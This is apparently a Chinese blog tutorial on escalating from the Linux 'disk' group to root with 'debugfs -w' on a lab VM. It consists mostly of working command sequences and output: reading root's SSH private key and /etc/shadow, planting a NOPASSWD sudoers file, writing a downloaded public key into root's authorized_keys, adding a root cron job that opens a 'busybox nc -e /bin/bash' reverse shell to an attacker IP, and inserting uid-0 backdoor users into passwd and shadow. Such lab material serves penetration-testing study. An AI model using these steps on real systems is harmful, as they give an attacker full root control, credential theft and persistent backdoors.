disk组用户提权

发布于: 2025-11-09 20:10

作者

共同创作者

111 MJ Aristore ll104567

Warning

debugfs 写入文件后,Linux 内核可能仍持有旧的 inode、dentry 或页缓存(page cache)。此时可能出现:

  • 文件实际已写入磁盘,但系统中不可见
  • ls 显示 ?????????
  • ssh、su 等程序无法读取新文件
  • 重启后恢复正常

在具备 root 权限的情况下,可尝试执行下面命令强制清除缓存,可能会使新文件立即生效,部分情况下无需重启即可使新文件被系统识别,减少了重启的不便,但不能忽略文件写入后没有生效的本质原因。

sync
echo 2 > /proc/sys/vm/drop_caches

异常一:文件系统变为只读

异常二:虚拟机崩溃(修改passwd,shadow)

virtualbox报内存错误。再重启一次,可以使用篡改的 root 密码登录

正常运行:

出现只读挂载、系统异常甚至虚拟机崩溃,本质原因通常是运行中的 Linux 内核仍缓存着旧 inode、dentry 和页缓存(page cache),而 debugfs 直接修改了磁盘中的文件系统结构。因此修改结果与内核缓存可能产生不一致,最终触发 ext4 错误检测、文件系统只读保护等情况。

如果文件系统受损,建议在救援模式或 LiveCD 环境下执行 fsck。不要在已挂载的根文件系统上直接运行 fsck。

建议优先使用稳妥的读取私钥的方式提权,再尝试sudo或写入公钥的方式提权,这会立即生效,最后再考虑需要重启才能生效的提权操作(passwd,shadow...)。

本地靶机提权的话,建议按以下推荐顺序进行:

  • 读取私钥:最推荐
  • sudo 提权:立即生效,推荐
  • 写入公钥:立即生效,推荐
  • passwd 添加后门用户:需要重启,可能引起异常
  • shadow 添加后门用户:需要重启,可能引起异常
  • 其他可能的文件写入提权:优先考虑无需重启的提权方式

读取私钥/shadow

disk组最推荐的提权方式,读取 root 用户的 ssh 私钥文件或系统shadow文件,相对其他方法提权,这只涉及读取操作,不会引起内核异常崩溃。

Dodo@ezai1:~$ /usr/sbin/debugfs -w /dev/sda1
debugfs 1.44.5 (15-Dec-2018)
debugfs:  cat /root/.ssh/id_rsa
debugfs:  cat /etc/shadow

sudo

在下文涉及到写操作时, 替换为 write 命令返回的 inode 编号

Dodo@ezai1:~$ id
uid=1000(Dodo) gid=1000(Dodo) groups=1000(Dodo),6(disk)
Dodo@ezai1:~$ echo "ALL ALL=(ALL) NOPASSWD: ALL" > /tmp/a
Dodo@ezai1:~$ /usr/sbin/debugfs -w /dev/sda1
debugfs 1.44.5 (15-Dec-2018)
debugfs:  write /tmp/a /etc/sudoers.d/a
Allocated inode: 24
debugfs:  sif <24> i_mode 0100440
debugfs:  sif <24> i_uid 0
debugfs:  sif <24> i_gid 0
debugfs:  q
Dodo@ezai1:~$ sudo -l
Matching Defaults entries for Dodo on ezai1:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User Dodo may run the following commands on ezai1:
    (ALL) NOPASSWD: ALL
Dodo@ezai1:~$ sudo su -
root@ezai1:~# id
uid=0(root) gid=0(root) groups=0(root)
root@ezai1:~# 

写入公钥

下载远程公钥并写入root用户的authorized_keys文件,对公钥进行权限和属主修改。

Dodo@ezai1:~$ busybox wget http://192.168.56.100/pentest.pub -O authorized_keys
Dodo@ezai1:~$ cp authorized_keys /tmp/a
Dodo@ezai1:~$ /usr/sbin/debugfs -w /dev/sda1
debugfs 1.44.5 (15-Dec-2018)
debugfs:  write /tmp/a /root/.ssh/authorized_keys
Allocated inode: 23
debugfs:  sif <23> i_mode 0100600
debugfs:  sif <23> i_uid 0
debugfs:  sif <23> i_gid 0
debugfs:  q

攻击机

定时任务

定时任务部分经 咲之花 同学补充完善,感谢!测试发现,新建定时任务文件后,同样需要重启系统才能生效

由于 debugfs 绕过了正常文件系统通知机制,cron 进程可能无法感知新增任务文件。此时重启 cron 服务或重启系统后,任务通常会被重新加载。

常见定时任务文件位置与格式:

busybox crond   Alpine/容器精简系统   /etc/crontabs/<user>
crond (Cronie)  CentOS / RHEL 系列    /etc/crontab + /etc/cron.d/*
cron / Vixie cron   Debian / Ubuntu 系列  /etc/crontab + /etc/cron.d/*

文件内容格式:

Alpine 系统下 /etc/crontabs/ 文件格式:

* * * * * command

非 Alpine 系统下 /etc/crontab 和 /etc/cron.d/* 文件格式:

* * * * * user command

对于非 Alpine 等精简系统,更推荐在 /etc/cron.d/ 目录下放置定时任务文件,文件名可以任意命名。

使用 uname -a 查看系统信息,确定定时任务文件位置。

当前是 debian 10, 定时任务文件位置在 /etc/crontab/etc/cron.d/ 目录下,在 /etc/cron.d/ 目录下创建一个 反弹shell 的定时任务。

ip=192.168.6.101
port=4445
echo "* * * * * root bash -c 'busybox nc $ip $port -e /bin/bash'" > /tmp/test
cat /tmp/test

使用 debugfs 写入定时任务文件

Dodo@ezai1:~$ /usr/sbin/debugfs -w /dev/sda1
debugfs 1.44.5 (15-Dec-2018)
debugfs:  write /tmp/test /etc/cron.d/test
Allocated inode: 23
debugfs:  sif <23> i_mode 0100644
debugfs:  sif <23> i_uid 0
debugfs:  sif <23> i_gid 0
debugfs:  q

passwd 添加后门用户

debugfs写入passwd文件,添加一个uid为0的用户。已存在的文件不能直接覆盖,先删除再写入,然后修改文件权限和属主。

Dodo@ezai1:~$ cp /etc/passwd passwd
Dodo@ezai1:~$ cp /etc/passwd passwd.bak
Dodo@ezai1:~$ openssl passwd -1 -salt abc password
$1$abc$BXBqpb9BZcZhXLgbee.0s/
Dodo@ezai1:~$ echo 'test:$1$abc$BXBqpb9BZcZhXLgbee.0s/:0:0:,,,:/root:/bin/bash' >> passwd
Dodo@ezai1:~$ cp passwd /tmp/passwd_tmp
Dodo@ezai1:~$ /usr/sbin/debugfs -w /dev/sda1
debugfs 1.44.5 (15-Dec-2018)
debugfs:  write /tmp/passwd_tmp /etc/passwd
write: Ext2 file already exists 
debugfs:  rm /etc/passwd
debugfs:  write /tmp/passwd_tmp /etc/passwd
Allocated inode: 21
debugfs:  ln <21> /etc/passwd
debugfs:  sif <21> i_mode 0100644
debugfs:  sif <21> i_uid 0
debugfs:  sif <21> i_gid 0
debugfs:  q

重启后,ssh登录 test 用户

shadow 添加后门用户

debugfs 读取 shadow 文件

Dodo@ezai1:~$ /usr/sbin/debugfs -w /dev/sda1
debugfs 1.44.5 (15-Dec-2018)
debugfs:  cat /etc/shadow
root:$6$kRbauhnw3OEtnKk6$yXsjenRj0EuRJjuuMGlE07KQDOBKuI6E4aJm/UCld4DaqNjDtfKXVGaykJkiOE9PNohFgUk0WTn.4KcfCac3C.:20399:0:99999:7:::
省略内容。。。。
Dodo:$6$Viz4XTwZSwA00ngE$6WGPp6SfhFU/j/oosIBG/rYDBvX9QhpFPa8VWo3Q5fkWCJPmJUCsAL12WEkkUuQJ4ZwesrLJvymNAFTpeFqa00:20399:0:99999:7:::
debugfs:

在家目录 下创建 shadow 文件,篡改 root 用户密码哈希,完成后重启。

Dodo@ezai1:~$ mkpasswd -m sha-512 password
$6$HmwaHrlwkvqL88gL$IKaAS2Rfz7IfkOzDnMJ2EzPm5wAFt6KQMmKterFKi6.7btziAkk3qXgFFVO1g624RhziuEATuzDAmsjA5gskX1
Dodo@ezai1:~$ vim shadow
Dodo@ezai1:~$ cp shadow /tmp/shadow_tmp
Dodo@ezai1:~$ /usr/sbin/debugfs -w /dev/sda1
debugfs 1.44.5 (15-Dec-2018)
debugfs:  write /tmp/shadow_tmp /etc/shadow
write: Ext2 file already exists 
debugfs:  rm /etc/shadow
debugfs:  write /tmp/shadow_tmp /etc/shadow
Allocated inode: 21
debugfs:  sif <21> i_mode 0100640
debugfs:  sif <21> i_uid 0
debugfs:  sif <21> i_gid 0
debugfs:  q

在不重启的情况下,尝试使用 su 切换 root 用户,发现密码未被篡改成功

重启后,出现严重问题,虚拟机崩溃,virtualbox 崩溃

再次重启, 发现 root 密码已被篡改成功,使用 password 登录成功

文件系统没有进入只读状态

理论上 shadow 修改后应立即生效,但由于 debugfs 绕过内核直接修改文件系统,可能出现缓存未刷新等情况,因此部分环境需要重启后才能观察到效果。

其他

passwd 和 shadow 已验证可行。理论上其他关键配置文件也可能通过相同方式修改,但是否生效仍取决于具体文件格式、系统缓存机制以及安全策略配置。